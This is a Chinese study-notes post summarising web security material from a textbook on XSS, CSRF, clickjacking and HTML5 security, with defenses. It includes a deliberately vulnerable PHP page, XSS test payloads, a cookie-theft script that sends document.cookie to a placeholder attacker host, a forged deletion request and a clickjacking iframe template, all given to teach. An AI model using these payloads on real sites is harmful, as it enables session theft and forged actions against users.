###一下案例均来自白帽子讲Web安全-吴翰清 一书中
这篇主要是记录下一些内容中的简单概念,其中书中涉及很多实例代码,这边不具体叙述。
客户端脚本安全
XSS攻击
XSS:跨站脚本攻击,英文全称为Cross Sie Script 本来缩写是CSS,但是为了和层叠样式CSS做区分,所以在安全领域叫做XSS
XSS攻击,通常指用户通过HTML注入篡改了网页,插入恶意的脚本,从而在用户浏览网页的时候,控制用户浏览器的一种攻击 ,从一开始这种攻击的案例是跨域的,所以叫做跨站脚本,但是发展到今天,由于JavaScript的强大功能,以及网站前端应用的复杂化,是否跨域以及不在重要
XSS根据效果分为三个类型
- 第一种反射性:只是简单的把用户输入的数据“反射”给浏览器.黑客往往需要诱使用户点击一个恶意链接,才能攻击成功
<!DOCTYPE html>
<html>
<body>
<?php
$input=$_GET["param"];
echo "<div>".$input."</div>";
?>
</body>
</html>
上面这段是根据用户提交的参数显示到页面上
http://127.0.0.1/hello.php?param=hello(显示一个hello)
http://127.0.0.1/hello.php?param=<script>alert(/xxx/)</script>(在火狐浏览器弹出alert)
这段在chrome浏览器上,显示被浏览器拦截,但是在火狐浏览器上弹出了框,不同浏览器对此有些做出了处理
- 储存小XSS:储存型XSS会把用户输入的数据储存到服务器端,这种XSS具有很强的稳定性,场景,黑客写下一篇包含恶意的javaScript的代码文章,然后访问该文章的用户,都会在他们的浏览器中执行这段恶意的JavaScript代码,这种叫做储存型的XSS攻击
- DOM Based XSS,通过修改DOM节点形成的xss,从效果上也是反射性XSS,但是因为形成的原因比较特别
<html>
<head>
<title></title>
<meta charset="UTF-8"/>
<script type="text/javascript" charset="utf-8">
function test(){
var str=document.getElementById("text").value;
document.getElementById("t").innerHTML="<a href='"+str+"'>testLink</a>"
}
</script>
</head>
<body>
<div id="t"></div>
<input type="text" id="text" value="" />
<input type="button" id="s" value="write" onclick="test()" />
</body>
</html>
通过输入的内容形成超链接
构造数据
' onclick=alert(/xss/) //
//另一种利用方式,构造一个新事件,闭合掉<a>标签,并插入新的html标签
'><img src=# onerror=alert(/xss2/) /><'
在各自浏览器上f12,查看修改后的html内容
XSS攻击进阶
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器,这些用以完成各种具体功能的恶意脚本,被称为 XSS Payload(实际上就是JavaScript脚本
常见的案例cookie挟持
//先加载一个远程脚本
http:///www.a.com/test.htm?abc="><script src=http://xxxxxx/xx.js><script>
在这个远程脚本中
var img=document.createElement("img");
//发送给攻击者自己的服务器
img.src="http://xxxxxx/log?"+escape(document.cookie);
document.body.appendChild(img)
XSS构造GET和POST请求
如果删除一篇文章的链接是 http:xxxxxx/m=delete&id=xxx;
如果知道该文章的Id,只要攻击者插入一张图片就可以了,因为当前用户的cookie 已经存在他的浏览器中,只要他触发了这段js代码
var img=document.createElement("img")
img.src="http:xxxxxx/m=delete&id=xxx";
document.body.appendChild(img)
####post同理利用XMLHttpRequest或者 构建一个form表单然后自动提交
#####XSS能做什么
- 钓鱼:利用JavaScript在当前页面画出一个伪造的登录框,窃取信息发送给自己的服务器
- 识别用户的浏览器:如果知道用户使用的浏览器,操作系统,能收集到信息(JavaScript,识别浏览器版本,网上有很多案例)
- 识别用户的安装软件
在IE中,可以判断ActiveX框架中的classid 是否存在,推测用户是否安装了该软件
try{
var obj=new ActiveXObject('XunLeiBHO.ThunderIEHelper');
}catch(e){
}
- 获取用户iP,用户电脑使用了代理服务器,或者隐藏在局域网中隐藏在NAT后面。网站看到的是客户端的IP地址,是内网出口IP地址,而非真正地址,但是借助第三方软件可以完成 ,如果客户端安装了Java环境,xss可以通过调用JavaApplet的接口来获取客户端的IP地址在Xss攻击框架中有“Attack API",可以获取本地IP地址
XSS的防御
- HttpOnly:浏览器将禁止页面的JavaScript访问带有HttpOnly属性的,添加HttpOnly的过程简单,如果业务太过复杂,则需要在所有Set-Cookie的地方,给关键的cookie加上HttpOnly
服务器端设置 response.setheader("Set-cookie","cookiename=value";Path=/;Domain=domainvalue;Max-Agseconds;HTTPOnly")
- 输入检查,使用开源的XSS Filter 在用户提交数据的时候,进行XSS检查,是否包含特殊字符如’<'script> javascript 等敏感关键词
- 输出检查,可以使用编码或转义来处理
- 使用安全编码的函数,如HTMLEncode。XMLEncode等,JS编码方式可以使用JavascriptEncode https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API
在对抗 XSS,在HTMLEncdoe中的要求至少转换一下字符
&-->&
<-->&ly;
>-->>
"->"
'->'
/->/
####XSS的本质是一种HTML注入,用户的数据被当做HTML代码一部分执行,已混淆了原本的语义,产生了新的语义
正确的防御xss
- 在HTML标签中输出、在HTML属性中输出:对变量使用HtmlEncode
在<’'script>标签中输出 - 在事件中输出:使用JavascriptEncode
- 在CSS中输出:推荐使用OWASP ESAPI中的encodeCSS()方法
- 防御DOM Based XSS:复合的XSS防御 从$var输出到<’'script>的时候需要做JavascriptEncode,在输出到html的时候,如果是输出到事件或者脚本,再做一次JavascriptEncode,如果输出到html,做HtmlEncode,即,输出点即为防御点。
##CSRF
CSRF(Cross-site request forgery)跨站请求伪造,它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。CSRF攻击是源于Web的隐式身份验证机制!Web的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的。
浏览器的Cookie策略:Cookie分为两种,Session Cookie(在浏览器关闭后,就会失效,保存到内存里),Third-party Cookie(即只有到了Exprie时间后才会失效的Cookie,这种Cookie会保存到本地)。如果浏览器从一个域的页面中,要加载另一个域的资源,由于安全原因,某些浏览器会阻止Third-party Cookie发送 ,P3P Header如果返回给浏览器的HTTP头中包含了P3P的头,将允许浏览器发送第三方cookie, p3p头主要用于类似广告等需要跨域访问的页面
##CSRF防御
- 尽量使用POST,限制GET:get构建一个img标签 src 发送get请求,接口限制为post,降低攻击风险
- 验证码:验证码能强制用户与应用交互
- Referer Check:检查请求是否来自于合法的源,在互联网最常见的应用就是防盗链
- TOKEN机制:服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致,允许用户在一个有效的生命周期内,消耗掉token后,生成一个新的token.
##点击挟持
点击挟持是,视觉上的一种欺骗,攻击者使用一个透明的,不可见的iframe,覆盖在一个网页上,然后诱使用户在改网页上进行操作,此时用户在不知情的点击透明的iframe页面。提供调整iframe的位置,可以使得用户点击的在iframe页面的功能性按钮
<style>
iframe{
width: 900px;
height: 250px;
position: absolute;
top: -195px;
left: -740px;
z-index: 2;
-moz-opacity: 0.5;
opacity: 0.0;
filter: alpha;
}
button{
position: absolute;
top: 10px;
left: 10px;
z-index: 1;
width: 120px;
}
</style>
</head>
<body>
<iframe src="http://www.qidian.com" scrolling="no"></iframe>
<button>CLICK HERE!</button>
</body>
基于点击挟持的几种方式
- 图片覆盖攻击:利用图片的style将页面的图片覆盖,然后链接到自己的网站
- flash点击挟持:攻击者制作一个游戏,诱使用户玩游戏,用户点击CLICK按钮,在其隐藏一个看不见的iframe,提供多次点击
- 拖拽与数据窃取:浏览器中的拖拽对象可以是一个链接,也可以是一段文字,还可以从一个窗口拖拽到另一个窗口,因此拖拽是不受同源策略的限制,拖拽挟持的思路是,诱使用户从隐藏的不可见的iframe中拖拽楚攻击者希望得到的数据,然后放到攻击者能控制的另一个页面上
###防御点击挟持
X-Frame-Options:因为frame busting 存在被绕过的可能,所以我们需要寻找其他更好的解决方案,就是使用一个Http头-X-Frame-Options ,当值为DENY时,浏览器会拒绝当前页面加载任何frame页面,若值为SAMEORIGIN,则frame页面的地址只能为同源域名下的页面;若值为ALLOW-FROM,则可以定义运行frame加载的页面地址
HTML5安全
Html5中新增的一些标签和属性,使得XSS等WEB攻击产生了新的变化,为例总结一些变化,有些安全研究者建立了HTML5 Security Cheatsheet项目
####iframe
iframe的sandbox:在h5中iframe定义了一个新的属性叫sandbox。使用sandbox这个属性,iframe标签,加载的内容将被视作独立的源。其中的脚本将被禁止,表单被禁止提交,插件禁止被加载,指向其他浏览对象的链接也会被禁止
sandbox属性可以通过参数来支持更多精确的控制
- allow-same-origin:允许同源访问
- allow-top-navigation:运行访问顶层窗口:
- allow-forms:允许提交表单
- allow-scripts:允许执行脚本
####Link Type
html5 为a和area表情定义了新的link types:noreferrer,在指定noreferrer后,浏览器在请求该标签指定的地址将不在发送Referer
####Canvas
canvas 是h5提供新的标签,他的强大甚至可以破解验证码!!
####Cross-Origin Resource Sharing
因为浏览器实现了同源策略,限制了脚本的跨域请求,但是需求下跨域访问的情景越来越多
假设www.a.com/test.html 发起跨域的XMLHttpRequest的请求,请求地址为www.b.com/test.php
在这个过程中
//a.com/test.html 发起请求带上一个Origin Header
Origin:http://www.a.com
//在服务器b.com返回一个HTTP Header
Access-Control-Allow-Origin:http://www.a.com
通过Origin Header标记HTTP发起的源,服务器识别。
####postMessage-跨窗口传递消息
postMessage 允许每个window对象往其他窗口发送消息。从而实现跨窗口的消息传递。这个功能不受同源策略影响
使用postMessage的注意点
- 在接受窗口验证Domain,甚至验证URL
- 在接受窗口对消息进行安全检查,避免将消息写入innerHtml 甚至写入script中
内容来自于 白帽子讲Web安全-吴翰清
参考:http://www.cnblogs.com/lovesong/p/5233195.html